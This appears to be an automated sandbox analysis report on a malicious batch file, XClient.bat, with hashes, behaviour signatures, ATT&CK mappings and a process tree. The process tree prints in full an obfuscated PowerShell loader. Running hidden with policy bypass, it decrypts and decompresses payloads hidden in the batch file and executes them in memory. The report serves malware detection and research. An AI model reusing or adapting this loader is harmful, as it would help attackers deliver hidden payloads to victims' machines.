ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c

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04-09-2024 03:02

240904-djne2svhpa 10

04-09-2024 03:01

04-09-2024 01:09

03-09-2024 23:53

03-09-2024 23:29

03-09-2024 23:26

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04-09-2024 01:09

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General

Target

XClient.bat
Size

320KB
MD5

e0d59aedb927f0aad0b47eab247e5fbc
SHA1

8abe8db8e344729b0f78d83e540b17a31893ed92
SHA256

ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c
SHA512

7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97
SSDEEP

6144:HQIYl64Q3Gx/E7X3YIzsUW4MN2nwaF0FbD/VdFzqEE/jeT3/:HQIh77X3t6+4VdFzoW/

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1956	powershell.exe

Deletes itself 1 IoCs

pid	Process
2404	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1956	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2056	2404	cmd.exe	31
PID 2404 wrote to memory of 2056	2404	cmd.exe	31
PID 2404 wrote to memory of 2056	2404	cmd.exe	31
PID 2056 wrote to memory of 2156	2056	net.exe	32
PID 2056 wrote to memory of 2156	2056	net.exe	32
PID 2056 wrote to memory of 2156	2056	net.exe	32
PID 2404 wrote to memory of 1956	2404	cmd.exe	33
PID 2404 wrote to memory of 1956	2404	cmd.exe	33
PID 2404 wrote to memory of 1956	2404	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1956-4-0x000007FEF65EE000-0x000007FEF65EF000-memory.dmp

Filesize
4KB

Download
memory/1956-6-0x0000000002780000-0x0000000002788000-memory.dmp

Filesize
32KB

Download
memory/1956-5-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/1956-7-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1956-9-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1956-11-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1956-10-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1956-8-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1956-12-0x000007FEF6330000-0x000007FEF6CCD000-memory.dmp

Filesize
9.6MB

Download